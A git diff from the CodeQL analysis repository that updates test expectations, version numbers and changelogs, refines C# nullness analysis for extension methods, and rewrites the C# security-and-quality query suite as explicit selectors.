diff --git a/cpp/ql/test/library-tests/syntax-zoo/dataflow-consistency.expected b/cpp/ql/test/library-tests/syntax-zoo/dataflow-consistency.expected
index 064c4e01e2b..b516aa0ce87 100644
--- a/cpp/ql/test/library-tests/syntax-zoo/dataflow-consistency.expected
+++ b/cpp/ql/test/library-tests/syntax-zoo/dataflow-consistency.expected
@@ -1,4 +1,10 @@
uniqueEnclosingCallable
+| builtin.c:14:3:14:16 | ... * ... | Node should have one enclosing callable but has 0. |
+| builtin.c:14:3:14:16 | sizeof(int) | Node should have one enclosing callable but has 0. |
+| builtin.c:14:10:14:10 | 4 | Node should have one enclosing callable but has 0. |
+| builtin.c:15:3:15:16 | ... * ... | Node should have one enclosing callable but has 0. |
+| builtin.c:15:3:15:16 | sizeof(int) | Node should have one enclosing callable but has 0. |
+| builtin.c:15:10:15:10 | 4 | Node should have one enclosing callable but has 0. |
| enum.c:2:6:2:6 | 1 | Node should have one enclosing callable but has 0. |
| enum.c:2:6:2:10 | ... + ... | Node should have one enclosing callable but has 0. |
| enum.c:2:10:2:10 | 1 | Node should have one enclosing callable but has 0. |
diff --git a/cpp/ql/test/library-tests/templates/nontype_instantiations/general/test.expected b/cpp/ql/test/library-tests/templates/nontype_instantiations/general/test.expected
index c4b76a9d2fc..47aa18f9a5b 100644
--- a/cpp/ql/test/library-tests/templates/nontype_instantiations/general/test.expected
+++ b/cpp/ql/test/library-tests/templates/nontype_instantiations/general/test.expected
@@ -1,13 +1,13 @@
-| test.cpp:3:8:3:8 | C<1> | 0 | int | test.cpp:5:25:5:25 | 1 | 1 |
-| test.cpp:3:8:3:8 | C<2> | 0 | int | file://:0:0:0:0 | 2 | 2 |
+| test.cpp:3:8:3:8 | C<1> | 0 | int | test.cpp:6:3:6:6 | one1 | 1 |
+| test.cpp:3:8:3:8 | C<2> | 0 | int | test.cpp:7:3:7:13 | ... + ... | 2 |
| test.cpp:3:8:3:8 | C | 0 | int | file://:0:0:0:0 | x | x |
| test.cpp:10:8:10:8 | D | 0 | | test.cpp:9:19:9:19 | T | |
| test.cpp:10:8:10:8 | D | 1 | T | file://:0:0:0:0 | X | X |
| test.cpp:10:8:10:8 | D | 0 | | file://:0:0:0:0 | int | |
| test.cpp:10:8:10:8 | D | 1 | int | test.cpp:12:8:12:8 | 2 | 2 |
| test.cpp:10:8:10:8 | D | 0 | | file://:0:0:0:0 | long | |
-| test.cpp:10:8:10:8 | D | 1 | long | file://:0:0:0:0 | 2 | 2 |
+| test.cpp:10:8:10:8 | D | 1 | long | test.cpp:13:9:13:9 | 2 | 2 |
| test.cpp:16:8:16:8 | E | 0 | | test.cpp:15:19:15:19 | T | |
| test.cpp:16:8:16:8 | E | 1 | T * | file://:0:0:0:0 | X | X |
| test.cpp:16:8:16:8 | E | 0 | | file://:0:0:0:0 | int | |
-| test.cpp:16:8:16:8 | E | 1 | int * | file://:0:0:0:0 | 0 | 0 |
+| test.cpp:16:8:16:8 | E | 1 | int * | test.cpp:18:8:18:14 | 0 | 0 |
diff --git a/cpp/ql/test/library-tests/templates/type_instantiations/types.expected b/cpp/ql/test/library-tests/templates/type_instantiations/types.expected
index 3539e52eecf..a86ab5e7bbd 100644
--- a/cpp/ql/test/library-tests/templates/type_instantiations/types.expected
+++ b/cpp/ql/test/library-tests/templates/type_instantiations/types.expected
@@ -25,6 +25,7 @@
| file://:0:0:0:0 | __float128 |
| file://:0:0:0:0 | __fp16 |
| file://:0:0:0:0 | __int128 |
+| file://:0:0:0:0 | __mfp8 |
| file://:0:0:0:0 | __va_list_tag |
| file://:0:0:0:0 | __va_list_tag & |
| file://:0:0:0:0 | __va_list_tag && |
diff --git a/cpp/ql/test/library-tests/type_sizes/type_sizes.expected b/cpp/ql/test/library-tests/type_sizes/type_sizes.expected
index b7bc9e04fe3..08e8b26f525 100644
--- a/cpp/ql/test/library-tests/type_sizes/type_sizes.expected
+++ b/cpp/ql/test/library-tests/type_sizes/type_sizes.expected
@@ -46,6 +46,7 @@
| file://:0:0:0:0 | __float128 | 16 |
| file://:0:0:0:0 | __fp16 | 2 |
| file://:0:0:0:0 | __int128 | 16 |
+| file://:0:0:0:0 | __mfp8 | 1 |
| file://:0:0:0:0 | __va_list_tag | 24 |
| file://:0:0:0:0 | __va_list_tag & | 8 |
| file://:0:0:0:0 | __va_list_tag && | 8 |
diff --git a/cpp/ql/test/library-tests/unspecified_type/types/unspecified_type.expected b/cpp/ql/test/library-tests/unspecified_type/types/unspecified_type.expected
index 00ae3fa5d8f..2e5091754b9 100644
--- a/cpp/ql/test/library-tests/unspecified_type/types/unspecified_type.expected
+++ b/cpp/ql/test/library-tests/unspecified_type/types/unspecified_type.expected
@@ -27,6 +27,7 @@
| file://:0:0:0:0 | __float128 | __float128 |
| file://:0:0:0:0 | __fp16 | __fp16 |
| file://:0:0:0:0 | __int128 | __int128 |
+| file://:0:0:0:0 | __mfp8 | __mfp8 |
| file://:0:0:0:0 | __va_list_tag & | __va_list_tag & |
| file://:0:0:0:0 | __va_list_tag && | __va_list_tag && |
| file://:0:0:0:0 | auto | auto |
diff --git a/cpp/ql/test/library-tests/variables/variables/types.expected b/cpp/ql/test/library-tests/variables/variables/types.expected
index 6ecf14875ca..1d091ac2571 100644
--- a/cpp/ql/test/library-tests/variables/variables/types.expected
+++ b/cpp/ql/test/library-tests/variables/variables/types.expected
@@ -26,6 +26,7 @@
| __float128 | Float128Type | | | | |
| __fp16 | BinaryFloatingPointType, RealNumberType | | | | |
| __int128 | Int128Type | | | | |
+| __mfp8 | BinaryFloatingPointType, RealNumberType | | | | |
| __va_list_tag | DirectAccessHolder, MetricClass, Struct, StructLikeClass | | | | |
| __va_list_tag & | LValueReferenceType, PointerOrArrayOrReferenceType, PointerOrArrayOrReferenceTypeIndirection | | __va_list_tag | | |
| __va_list_tag && | PointerOrArrayOrReferenceType, PointerOrArrayOrReferenceTypeIndirection, RValueReferenceType | | __va_list_tag | | |
diff --git a/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md b/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md
index f177ccf403e..127bb19bbc6 100644
--- a/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md
+++ b/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md
@@ -1,3 +1,11 @@
+## 1.7.42
+
+No user-facing changes.
+
+## 1.7.41
+
+No user-facing changes.
+
## 1.7.40
No user-facing changes.
diff --git a/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.41.md b/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.41.md
new file mode 100644
index 00000000000..b99dc457ba9
--- /dev/null
+++ b/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.41.md
@@ -0,0 +1,3 @@
+## 1.7.41
+
+No user-facing changes.
diff --git a/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.42.md b/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.42.md
new file mode 100644
index 00000000000..baf98826021
--- /dev/null
+++ b/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.42.md
@@ -0,0 +1,3 @@
+## 1.7.42
+
+No user-facing changes.
diff --git a/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml b/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml
index 47c67a0a4d3..8317cee0ddb 100644
--- a/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml
+++ b/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml
@@ -1,2 +1,2 @@
---
-lastReleaseVersion: 1.7.40
+lastReleaseVersion: 1.7.42
diff --git a/csharp/ql/campaigns/Solorigate/lib/qlpack.yml b/csharp/ql/campaigns/Solorigate/lib/qlpack.yml
index 6c3519f4785..a86abb4812b 100644
--- a/csharp/ql/campaigns/Solorigate/lib/qlpack.yml
+++ b/csharp/ql/campaigns/Solorigate/lib/qlpack.yml
@@ -1,5 +1,5 @@
name: codeql/csharp-solorigate-all
-version: 1.7.41-dev
+version: 1.7.43-dev
groups:
- csharp
- solorigate
diff --git a/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md b/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md
index f177ccf403e..127bb19bbc6 100644
--- a/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md
+++ b/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md
@@ -1,3 +1,11 @@
+## 1.7.42
+
+No user-facing changes.
+
+## 1.7.41
+
+No user-facing changes.
+
## 1.7.40
No user-facing changes.
diff --git a/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.41.md b/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.41.md
new file mode 100644
index 00000000000..b99dc457ba9
--- /dev/null
+++ b/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.41.md
@@ -0,0 +1,3 @@
+## 1.7.41
+
+No user-facing changes.
diff --git a/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.42.md b/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.42.md
new file mode 100644
index 00000000000..baf98826021
--- /dev/null
+++ b/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.42.md
@@ -0,0 +1,3 @@
+## 1.7.42
+
+No user-facing changes.
diff --git a/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml b/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml
index 47c67a0a4d3..8317cee0ddb 100644
--- a/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml
+++ b/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml
@@ -1,2 +1,2 @@
---
-lastReleaseVersion: 1.7.40
+lastReleaseVersion: 1.7.42
diff --git a/csharp/ql/campaigns/Solorigate/src/qlpack.yml b/csharp/ql/campaigns/Solorigate/src/qlpack.yml
index 1cfbcb1f030..caf1e66033e 100644
--- a/csharp/ql/campaigns/Solorigate/src/qlpack.yml
+++ b/csharp/ql/campaigns/Solorigate/src/qlpack.yml
@@ -1,5 +1,5 @@
name: codeql/csharp-solorigate-queries
-version: 1.7.41-dev
+version: 1.7.43-dev
groups:
- csharp
- solorigate
diff --git a/csharp/ql/integration-tests/posix/query-suite/csharp-code-quality.qls.expected b/csharp/ql/integration-tests/posix/query-suite/csharp-code-quality.qls.expected
index 14934899e0d..89e7cff7f29 100644
--- a/csharp/ql/integration-tests/posix/query-suite/csharp-code-quality.qls.expected
+++ b/csharp/ql/integration-tests/posix/query-suite/csharp-code-quality.qls.expected
@@ -2,6 +2,8 @@ ql/csharp/ql/src/API Abuse/CallToGCCollect.ql
ql/csharp/ql/src/API Abuse/FormatInvalid.ql
ql/csharp/ql/src/API Abuse/NoDisposeCallOnLocalIDisposable.ql
ql/csharp/ql/src/Bad Practices/Control-Flow/ConstantCondition.ql
+ql/csharp/ql/src/CSI/NullAlways.ql
+ql/csharp/ql/src/CSI/NullMaybe.ql
ql/csharp/ql/src/Dead Code/DeadStoreOfLocal.ql
ql/csharp/ql/src/Language Abuse/MissedReadonlyOpportunity.ql
ql/csharp/ql/src/Likely Bugs/Collections/ContainerLengthCmpOffByOne.ql
@@ -11,6 +13,7 @@ ql/csharp/ql/src/Likely Bugs/EqualityCheckOnFloats.ql
ql/csharp/ql/src/Likely Bugs/ReferenceEqualsOnValueTypes.ql
ql/csharp/ql/src/Likely Bugs/SelfAssignment.ql
ql/csharp/ql/src/Likely Bugs/UncheckedCastInEquals.ql
+ql/csharp/ql/src/Performance/StringConcatenationInLoop.ql
ql/csharp/ql/src/Performance/UseTryGetValue.ql
ql/csharp/ql/src/Useless code/DefaultToString.ql
ql/csharp/ql/src/Useless code/IntGetHashCode.ql
diff --git a/csharp/ql/lib/CHANGELOG.md b/csharp/ql/lib/CHANGELOG.md
index 47503fa222e..5eeedc6f77b 100644
--- a/csharp/ql/lib/CHANGELOG.md
+++ b/csharp/ql/lib/CHANGELOG.md
@@ -1,3 +1,13 @@
+## 5.1.8
+
+No user-facing changes.
+
+## 5.1.7
+
+### Minor Analysis Improvements
+
+* The generated Models as Data (MaD) models for .NET 9 Runtime have been updated and are now more precise (due to a recent model generator improvement).
+
## 5.1.6
No user-facing changes.
diff --git a/csharp/ql/lib/change-notes/2025-05-14-dotnet-models.md b/csharp/ql/lib/change-notes/released/5.1.7.md
similarity index 78%
rename from csharp/ql/lib/change-notes/2025-05-14-dotnet-models.md
rename to csharp/ql/lib/change-notes/released/5.1.7.md
index c45cce85982..2cc0418ad62 100644
--- a/csharp/ql/lib/change-notes/2025-05-14-dotnet-models.md
+++ b/csharp/ql/lib/change-notes/released/5.1.7.md
@@ -1,4 +1,5 @@
----
-category: minorAnalysis
----
+## 5.1.7
+
+### Minor Analysis Improvements
+
* The generated Models as Data (MaD) models for .NET 9 Runtime have been updated and are now more precise (due to a recent model generator improvement).
diff --git a/csharp/ql/lib/change-notes/released/5.1.8.md b/csharp/ql/lib/change-notes/released/5.1.8.md
new file mode 100644
index 00000000000..9e1ff36f31f
--- /dev/null
+++ b/csharp/ql/lib/change-notes/released/5.1.8.md
@@ -0,0 +1,3 @@
+## 5.1.8
+
+No user-facing changes.
diff --git a/csharp/ql/lib/codeql-pack.release.yml b/csharp/ql/lib/codeql-pack.release.yml
index 5ddeeed69fc..8ffbb79d224 100644
--- a/csharp/ql/lib/codeql-pack.release.yml
+++ b/csharp/ql/lib/codeql-pack.release.yml
@@ -1,2 +1,2 @@
---
-lastReleaseVersion: 5.1.6
+lastReleaseVersion: 5.1.8
diff --git a/csharp/ql/lib/qlpack.yml b/csharp/ql/lib/qlpack.yml
index 3cfd3861377..464284c56cb 100644
--- a/csharp/ql/lib/qlpack.yml
+++ b/csharp/ql/lib/qlpack.yml
@@ -1,5 +1,5 @@
name: codeql/csharp-all
-version: 5.1.7-dev
+version: 5.1.9-dev
groups: csharp
dbscheme: semmlecode.csharp.dbscheme
extractor: csharp
diff --git a/csharp/ql/lib/semmle/code/csharp/dataflow/Nullness.qll b/csharp/ql/lib/semmle/code/csharp/dataflow/Nullness.qll
index a990455f430..7e8ed0aadc0 100644
--- a/csharp/ql/lib/semmle/code/csharp/dataflow/Nullness.qll
+++ b/csharp/ql/lib/semmle/code/csharp/dataflow/Nullness.qll
@@ -544,8 +544,13 @@ class Dereference extends G::DereferenceableExpr {
p.hasExtensionMethodModifier() and
not emc.isConditional()
|
- p.fromSource() // assume all non-source extension methods perform a dereference
- implies
+ // Assume all non-source extension methods on
+ // (1) nullable types are null-safe
+ // (2) non-nullable types are doing a dereference.
+ p.fromLibrary() and
+ not p.getAnnotatedType().isNullableRefType()
+ or
+ p.fromSource() and
exists(
Ssa::ImplicitParameterDefinition def,
AssignableDefinitions::ImplicitParameterDefinition pdef
diff --git a/csharp/ql/lib/semmle/code/csharp/frameworks/system/Diagnostics.qll b/csharp/ql/lib/semmle/code/csharp/frameworks/system/Diagnostics.qll
index 14d7497ec33..b5c036fa9f4 100644
--- a/csharp/ql/lib/semmle/code/csharp/frameworks/system/Diagnostics.qll
+++ b/csharp/ql/lib/semmle/code/csharp/frameworks/system/Diagnostics.qll
@@ -41,9 +41,7 @@ class SystemDiagnosticsDebugClass extends SystemDiagnosticsClass {
/** Gets an `Assert(bool, ...)` method. */
Method getAssertMethod() {
result.getDeclaringType() = this and
- result.hasName("Assert") and
- result.getParameter(0).getType() instanceof BoolType and
- result.getReturnType() instanceof VoidType
+ result.hasName("Assert")
}
}
diff --git a/csharp/ql/src/CHANGELOG.md b/csharp/ql/src/CHANGELOG.md
index a73c77f224f..4eabf64f6a5 100644
--- a/csharp/ql/src/CHANGELOG.md
+++ b/csharp/ql/src/CHANGELOG.md
@@ -1,3 +1,16 @@
+## 1.2.2
+
+No user-facing changes.
+
+## 1.2.1
+
+### Minor Analysis Improvements
+
+* The precision of the query `cs/missed-readonly-modifier` has been improved. Some false positives related to static fields and struct type fields have been removed.
+* The queries `cs/password-in-configuration`, `cs/hardcoded-credentials` and `cs/hardcoded-connection-string-credentials` have been removed from all query suites.
+* The precision of the query `cs/gethashcode-is-not-defined` has been improved (false negative reduction). Calls to more methods (and indexers) that rely on the invariant `e1.Equals(e2)` implies `e1.GetHashCode() == e2.GetHashCode()` are taken into account.
+* The precision of the query `cs/uncontrolled-format-string` has been improved (false negative reduction). Calls to `System.Text.CompositeFormat.Parse` are now considered a format like method call.
+
## 1.2.0
### Query Metadata Changes
diff --git a/csharp/ql/src/CSI/NullAlways.ql b/csharp/ql/src/CSI/NullAlways.ql
index e52abdc3cd5..1696f857fde 100644
--- a/csharp/ql/src/CSI/NullAlways.ql
+++ b/csharp/ql/src/CSI/NullAlways.ql
@@ -9,6 +9,7 @@
* correctness
* exceptions
* external/cwe/cwe-476
+ * quality
*/
import csharp
diff --git a/csharp/ql/src/CSI/NullMaybe.ql b/csharp/ql/src/CSI/NullMaybe.ql
index bb886f19929..c69df839958 100644
--- a/csharp/ql/src/CSI/NullMaybe.ql
+++ b/csharp/ql/src/CSI/NullMaybe.ql
@@ -10,6 +10,7 @@
* correctness
* exceptions
* external/cwe/cwe-476
+ * quality
*/
import csharp
diff --git a/csharp/ql/src/Performance/StringConcatenationInLoop.ql b/csharp/ql/src/Performance/StringConcatenationInLoop.ql
index aba7d3b7436..b1b420434e9 100644
--- a/csharp/ql/src/Performance/StringConcatenationInLoop.ql
+++ b/csharp/ql/src/Performance/StringConcatenationInLoop.ql
@@ -7,6 +7,7 @@
* @id cs/string-concatenation-in-loop
* @tags efficiency
* maintainability
+ * quality
*/
import csharp
diff --git a/csharp/ql/src/Security Features/CWE-134/UncontrolledFormatString.ql b/csharp/ql/src/Security Features/CWE-134/UncontrolledFormatString.ql
index b99839226c5..3fc132eb301 100644
--- a/csharp/ql/src/Security Features/CWE-134/UncontrolledFormatString.ql
+++ b/csharp/ql/src/Security Features/CWE-134/UncontrolledFormatString.ql
@@ -4,7 +4,7 @@
* and cause a denial of service.
* @kind path-problem
* @problem.severity error
- * @security-severity 9.3
+ * @security-severity 7.3
* @precision high
* @id cs/uncontrolled-format-string
* @tags security
diff --git a/csharp/ql/src/change-notes/2025-04-10-uncontrolled-format-string.md b/csharp/ql/src/change-notes/2025-04-10-uncontrolled-format-string.md
deleted file mode 100644
index ed9805f6ece..00000000000
--- a/csharp/ql/src/change-notes/2025-04-10-uncontrolled-format-string.md
+++ /dev/null
@@ -1,4 +0,0 @@
----
-category: minorAnalysis
----
-* The precision of the query `cs/uncontrolled-format-string` has been improved (false negative reduction). Calls to `System.Text.CompositeFormat.Parse` are now considered a format like method call.
diff --git a/csharp/ql/src/change-notes/2025-05-15-gethashcode-is-not-defined.md b/csharp/ql/src/change-notes/2025-05-15-gethashcode-is-not-defined.md
deleted file mode 100644
index 2d8c5c1c56e..00000000000
--- a/csharp/ql/src/change-notes/2025-05-15-gethashcode-is-not-defined.md
+++ /dev/null
@@ -1,4 +0,0 @@
----
-category: minorAnalysis
----
-* The precision of the query `cs/gethashcode-is-not-defined` has been improved (false negative reduction). Calls to more methods (and indexers) that rely on the invariant `e1.Equals(e2)` implies `e1.GetHashCode() == e2.GetHashCode()` are taken into account.
diff --git a/csharp/ql/src/change-notes/2025-05-16-hardcoded-credentials.md b/csharp/ql/src/change-notes/2025-05-16-hardcoded-credentials.md
deleted file mode 100644
index 6255db9c199..00000000000
--- a/csharp/ql/src/change-notes/2025-05-16-hardcoded-credentials.md
+++ /dev/null
@@ -1,4 +0,0 @@
----
-category: minorAnalysis
----
-* The queries `cs/password-in-configuration`, `cs/hardcoded-credentials` and `cs/hardcoded-connection-string-credentials` have been removed from all query suites.
diff --git a/csharp/ql/src/change-notes/2025-05-22-missed-readonly-modifier.md b/csharp/ql/src/change-notes/2025-05-22-missed-readonly-modifier.md
deleted file mode 100644
index ee3d60fe4ff..00000000000
--- a/csharp/ql/src/change-notes/2025-05-22-missed-readonly-modifier.md
+++ /dev/null
@@ -1,4 +0,0 @@
----
-category: minorAnalysis
----
-* The precision of the query `cs/missed-readonly-modifier` has been improved. Some false positives related to static fields and struct type fields have been removed.
diff --git a/csharp/ql/src/change-notes/2025-06-03-dereferece-extension-method.md b/csharp/ql/src/change-notes/2025-06-03-dereferece-extension-method.md
new file mode 100644
index 00000000000..b12ec9768d5
--- /dev/null
+++ b/csharp/ql/src/change-notes/2025-06-03-dereferece-extension-method.md
@@ -0,0 +1,4 @@
+---
+category: minorAnalysis
+---
+* The queries `cs/dereferenced-value-is-always-null` and `cs/dereferenced-value-may-be-null` have been improved to reduce false positives. The queries no longer assume that expressions are dereferenced when passed as the receiver (`this` parameter) to extension methods where that parameter is a nullable type.
diff --git a/csharp/ql/src/change-notes/2025-06-06-reduce-CWE-134-for-memory-safe-languages.md b/csharp/ql/src/change-notes/2025-06-06-reduce-CWE-134-for-memory-safe-languages.md
new file mode 100644
index 00000000000..60006391ac6
--- /dev/null
+++ b/csharp/ql/src/change-notes/2025-06-06-reduce-CWE-134-for-memory-safe-languages.md
@@ -0,0 +1,4 @@
+---
+category: queryMetadata
+---
+* Adjusts the `@security-severity` from 9.3 to 7.3 for `cs/uncontrolled-format-string` to align `CWE-134` severity for memory safe languages to better reflect their impact.
diff --git a/csharp/ql/src/change-notes/released/1.2.1.md b/csharp/ql/src/change-notes/released/1.2.1.md
new file mode 100644
index 00000000000..2751be1db8a
--- /dev/null
+++ b/csharp/ql/src/change-notes/released/1.2.1.md
@@ -0,0 +1,8 @@
+## 1.2.1
+
+### Minor Analysis Improvements
+
+* The precision of the query `cs/missed-readonly-modifier` has been improved. Some false positives related to static fields and struct type fields have been removed.
+* The queries `cs/password-in-configuration`, `cs/hardcoded-credentials` and `cs/hardcoded-connection-string-credentials` have been removed from all query suites.
+* The precision of the query `cs/gethashcode-is-not-defined` has been improved (false negative reduction). Calls to more methods (and indexers) that rely on the invariant `e1.Equals(e2)` implies `e1.GetHashCode() == e2.GetHashCode()` are taken into account.
+* The precision of the query `cs/uncontrolled-format-string` has been improved (false negative reduction). Calls to `System.Text.CompositeFormat.Parse` are now considered a format like method call.
diff --git a/csharp/ql/src/change-notes/released/1.2.2.md b/csharp/ql/src/change-notes/released/1.2.2.md
new file mode 100644
index 00000000000..7b520f6c258
--- /dev/null
+++ b/csharp/ql/src/change-notes/released/1.2.2.md
@@ -0,0 +1,3 @@
+## 1.2.2
+
+No user-facing changes.
diff --git a/csharp/ql/src/codeql-pack.release.yml b/csharp/ql/src/codeql-pack.release.yml
index 75430e73d1c..0a70a9a01a7 100644
--- a/csharp/ql/src/codeql-pack.release.yml
+++ b/csharp/ql/src/codeql-pack.release.yml
@@ -1,2 +1,2 @@
---
-lastReleaseVersion: 1.2.0
+lastReleaseVersion: 1.2.2
diff --git a/csharp/ql/src/codeql-suites/csharp-security-and-quality.qls b/csharp/ql/src/codeql-suites/csharp-security-and-quality.qls
index 5bb3a54f6ee..b224499edce 100644
--- a/csharp/ql/src/codeql-suites/csharp-security-and-quality.qls
+++ b/csharp/ql/src/codeql-suites/csharp-security-and-quality.qls
@@ -1,4 +1,143 @@
- description: Security-and-quality queries for C#
- queries: .
-- apply: security-and-quality-selectors.yml
- from: codeql/suite-helpers
+- include:
+ kind:
+ - problem
+ - path-problem
+ precision:
+ - high
+ - very-high
+ tags contain:
+ - security
+- include:
+ kind:
+ - problem
+ - path-problem
+ precision: medium
+ problem.severity:
+ - error
+ - warning
+ tags contain:
+ - security
+- include:
+ id:
+ - cs/asp/response-write
+ - cs/call-to-gc
+ - cs/call-to-object-tostring
+ - cs/call-to-obsolete-method
+ - cs/call-to-unmanaged-code
+ - cs/cast-from-abstract-to-concrete-collection
+ - cs/cast-of-this-to-type-parameter
+ - cs/catch-nullreferenceexception
+ - cs/catch-of-all-exceptions
+ - cs/chained-type-tests
+ - cs/class-implements-icloneable
+ - cs/class-missing-equals
+ - cs/class-name-comparison
+ - cs/class-name-matches-base-class
+ - cs/coalesce-of-identical-expressions
+ - cs/comparison-of-identical-expressions
+ - cs/complex-block
+ - cs/complex-condition
+ - cs/constant-comparison
+ - cs/constant-condition
+ - cs/coupled-types
+ - cs/dereferenced-value-is-always-null
+ - cs/dereferenced-value-may-be-null
+ - cs/dispose-not-called-on-throw
+ - cs/downcast-of-this
+ - cs/empty-block
+ - cs/empty-catch-block
+ - cs/empty-collection
+ - cs/empty-lock-statement
+ - cs/equality-on-floats
+ - cs/equals-on-arrays
+ - cs/equals-on-unrelated-types
+ - cs/equals-uses-as
+ - cs/equals-uses-is
+ - cs/expose-implementation
+ - cs/field-masks-base-field
+ - cs/gethashcode-is-not-defined
+ - cs/impossible-array-cast
+ - cs/inconsistent-compareto-and-equals
+ - cs/inconsistent-equals-and-gethashcode
+ - cs/inconsistent-lock-sequence
+ - cs/index-out-of-bounds
+ - cs/inefficient-containskey
+ - cs/invalid-dynamic-call
+ - cs/invalid-string-formatting
+ - cs/linq/inconsistent-enumeration
+ - cs/linq/missed-all
+ - cs/linq/missed-cast
+ - cs/linq/missed-oftype
+ - cs/linq/missed-select
+ - cs/linq/missed-where
+ - cs/linq/useless-select
+ - cs/local-not-disposed
+ - cs/local-shadows-member
+ - cs/lock-this
+ - cs/locked-wait
+ - cs/loss-of-precision
+ - cs/mishandling-japanese-era
+ - cs/misleading-indentation
+ - cs/missed-readonly-modifier
+ - cs/missed-ternary-operator
+ - cs/missed-using-statement
+ - cs/nested-if-statements
+ - cs/nested-loops-with-same-variable
+ - cs/non-short-circuit
+ - cs/null-argument-to-equals
+ - cs/path-combine
+ - cs/recursive-equals-call
+ - cs/recursive-operator-equals-call
+ - cs/reference-equality-on-valuetypes
+ - cs/reference-equality-with-object
+ - cs/rethrown-exception-variable
+ - cs/self-assignment
+ - cs/simplifiable-boolean-expression
+ - cs/static-field-written-by-instance
+ - cs/string-concatenation-in-loop
+ - cs/stringbuilder-creation-in-loop
+ - cs/stringbuilder-initialized-with-character
+ - cs/test-for-negative-container-size
+ - cs/too-many-ref-parameters
+ - cs/type-test-of-this
+ - cs/unchecked-cast-in-equals
+ - cs/unmanaged-code
+ - cs/unsafe-double-checked-lock
+ - cs/unsafe-sync-on-field
+ - cs/unsafe-year-construction
+ - cs/unsynchronized-getter
+ - cs/unsynchronized-static-access
+ - cs/unused-collection
+ - cs/unused-label
+ - cs/unused-property-value
+ - cs/useless-assignment-to-local
+ - cs/useless-cast-to-self
+ - cs/useless-gethashcode-call
+ - cs/useless-if-statement
+ - cs/useless-tostring-call
+ - cs/useless-type-test
+ - cs/useless-upcast
+ - cs/virtual-call-in-constructor
+ - cs/wrong-compareto-signature
+ - cs/wrong-equals-signature
+ - cs/xmldoc/missing-summary
+- include:
+ kind:
+ - diagnostic
+- include:
+ kind:
+ - metric
+ tags contain:
+ - summary
+- exclude:
+ deprecated: //
+- exclude:
+ query path:
+ - /^experimental\/.*/
+ - Metrics/Summaries/FrameworkCoverage.ql
+- exclude:
+ tags contain:
+ - modeleditor
+ - modelgenerator
diff --git a/csharp/ql/src/qlpack.yml b/csharp/ql/src/qlpack.yml
index 7f4043b2c07..6437a730f15 100644
--- a/csharp/ql/src/qlpack.yml
+++ b/csharp/ql/src/qlpack.yml
@@ -1,5 +1,5 @@
name: codeql/csharp-queries
-version: 1.2.1-dev
+version: 1.2.3-dev
groups:
- csharp
- queries
diff --git a/csharp/ql/test/query-tests/Nullness/A.cs b/csharp/ql/test/query-tests/Nullness/A.cs
index 51bbc280e3c..12f5d74d5a2 100644
--- a/csharp/ql/test/query-tests/Nullness/A.cs
+++ b/csharp/ql/test/query-tests/Nullness/A.cs
@@ -5,7 +5,7 @@ class A
public void Lock()
{
object synchronizedAlways = null;
- lock (synchronizedAlways) // BAD (always)
+ lock (synchronizedAlways) // $ Alert[cs/dereferenced-value-is-always-null]
{
synchronizedAlways.GetHashCode(); // GOOD
}
@@ -14,7 +14,7 @@ class A
public void ArrayAssignTest()
{
int[] arrayNull = null;
- arrayNull[0] = 10; // BAD (always)
+ arrayNull[0] = 10; // $ Alert[cs/dereferenced-value-is-always-null]
int[] arrayOk;
arrayOk = new int[10];
@@ -28,10 +28,10 @@ class A
object methodAccess = null;
object methodCall = null;
- Console.WriteLine(arrayAccess[1]); // BAD (always)
- Console.WriteLine(fieldAccess.Length); // BAD (always)
- Func tmp = methodAccess.ToString; // BAD (always)
- Console.WriteLine(methodCall.ToString()); // BAD (always)
+ Console.WriteLine(arrayAccess[1]); // $ Alert[cs/dereferenced-value-is-always-null]
+ Console.WriteLine(fieldAccess.Length); // $ Alert[cs/dereferenced-value-is-always-null]
+ Func tmp = methodAccess.ToString; // $ Alert[cs/dereferenced-value-is-always-null]
+ Console.WriteLine(methodCall.ToString()); // $ Alert[cs/dereferenced-value-is-always-null]
Console.WriteLine(arrayAccess[1]); // GOOD
Console.WriteLine(fieldAccess.Length); // GOOD
@@ -47,7 +47,7 @@ class A
object varRef = null;
TestMethod2(ref varRef);
- varRef.ToString(); // BAD (always)
+ varRef.ToString(); // $ Alert[cs/dereferenced-value-is-always-null]
varRef = null;
TestMethod3(ref varRef);
diff --git a/csharp/ql/test/query-tests/Nullness/Assert.cs b/csharp/ql/test/query-tests/Nullness/Assert.cs
index 0236977aa39..86a99708a1f 100644
--- a/csharp/ql/test/query-tests/Nullness/Assert.cs
+++ b/csharp/ql/test/query-tests/Nullness/Assert.cs
@@ -12,7 +12,7 @@ class AssertTests
s = b ? null : "";
Assert.IsNull(s);
- Console.WriteLine(s.Length); // BAD (always)
+ Console.WriteLine(s.Length); // $ Alert[cs/dereferenced-value-is-always-null]
s = b ? null : "";
Assert.IsNotNull(s);
@@ -20,7 +20,7 @@ class AssertTests
s = b ? null : "";
Assert.IsTrue(s == null);
- Console.WriteLine(s.Length); // BAD (always)
